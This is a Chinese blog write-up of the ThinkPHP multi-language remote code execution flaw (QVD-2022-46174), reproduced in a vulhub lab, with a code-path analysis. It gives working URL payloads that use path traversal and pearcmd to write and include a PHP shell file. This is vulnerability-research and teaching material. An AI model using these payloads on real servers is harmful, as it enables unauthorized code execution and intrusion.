Thinkphp QVD-2022-46174 多语言rce
文章目录
漏洞介绍
Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x
如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。
文件包含漏洞存在的情况下还需要服务器满足下面两个条件才能利用:
- PHP环境开启了
register_argc_argv
- PHP环境安装了pcel/pear
Docker默认的PHP环境恰好满足上述条件。所以先使用vulhub进行漏洞利用的复现
vulhub漏洞搭建
cd vulhub/thinkphp/lang-rce编译环境docker-compose build运行环境docker-compose up -d
访问 ip:8080
漏洞利用
测试包含public/index.php
文件来确认文件包含漏洞是否存在
?lang=../../../../../public/index
如果漏洞存在,则服务器会出错,返回500页面
利用一:写入文件
利用pearcmd写入shell文件
?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/=phpinfo()?>+shell.php
如果服务器返回pearcmd的命令行执行结果,说明漏洞利用成功
此时访问url/shell.php
即可发现已经成功写入文件
利用二:文件包含
使用pearcmd在/tmp文件夹下创建文件再进行包含,P神文章
?lang=../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/=phpinfo()?>+/tmp/shell.php
?lang=../../../../../../../tmp/shell
2023 realword ctf体验赛 中出现了这个利用方法
漏洞分析
TP6在路径app/middleware.php
开启多语言特性
测试漏洞成功
thinkphp程序初始化都会运行class="lazy" data-src/think/App.php里的initialize()
方法
函数中使用this->loadLangPack()获取语言包,跟进loadLangPack()方法
却发现只有加载默认语言包的功能,换一条路
访问
?lang=../../../../../public/index
class="lazy" data-src/think/middleware/LoadLangPack.php
查看LoadLangPack.php
在 middleware 的 handle()
函数会被调用,这里断在 LoadLangPack.php
的 handle()
跟进detect()
方法
可以看到依次排查了 GET["lang"]
、HEADER["think-lang"]
、COOKIE["think_lang"]
,并且将其不做任何过滤,直接赋值给了 $langSet
继续走下去
此时payload被赋值给为参数$langSet。回到loadLangPack函数,下一步执行
$this->request->setLangset($this->lang->range() )
调用setLangset()
如果返回的 $langset
不等于默认的 langset
那么就会调用 $this->lang->switchLangSet($langset)
,正是在这里面实现了 文件包含
跟进 switchLangSet()
,可以看到调用了 $this->load()
,而传入的参数直接拼接而成文件的路径
继续跟进这个load()
判断文件是否存在,把文件路径又调用给了parse()
,跟进parse()
可以看到进行了include
文件包含, 造成文件包含漏洞
可以通过目录穿越实现任意 php 文件的包含,那么用 pearcmd 文件包含这个 trick ,就能 RCE 了
参考文章
https://xz.aliyun.com/t/11940
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
https://tttang.com/archive/1865/#toc_thinkphp-6
https://github.com/vulhub/vulhub/blob/master/thinkphp/lang-rce/README.zh-cn.md
来源地址:https://blog.csdn.net/qq_61768489/article/details/128729352
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341